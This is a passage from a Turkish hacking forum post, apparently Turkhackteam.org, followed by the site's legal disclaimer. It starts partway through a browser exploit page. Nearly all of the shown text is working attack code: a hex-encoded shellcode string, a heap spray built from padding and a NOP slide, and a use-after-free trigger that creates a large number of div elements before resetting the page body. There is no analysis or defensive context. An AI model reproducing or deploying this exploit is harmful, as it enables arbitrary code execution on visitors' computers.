    "%u9f24%u7284%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5" +
    "%u8490%u1377%uac2a%u1cbf%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940" +
    "%u474a%u6857%ufd01%ue74f%u224f%u1c71%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b" +
    "%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600%u3797%u6c0a%ua359%ue7cc%u7855" +
    "%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658%u0ed4%u2413%u5e8e" +
    "%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc%u3023" +
    "%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c" +
    "%u59eb%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46" +
    "%uc06c%u9ff0%uae49%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6" +
    "%u41f0%ud09e%u5ad6%u0917%u8f27%u9975%u7d19%ucd86%u41ab%u1128%u499e");
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>

xZy056.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.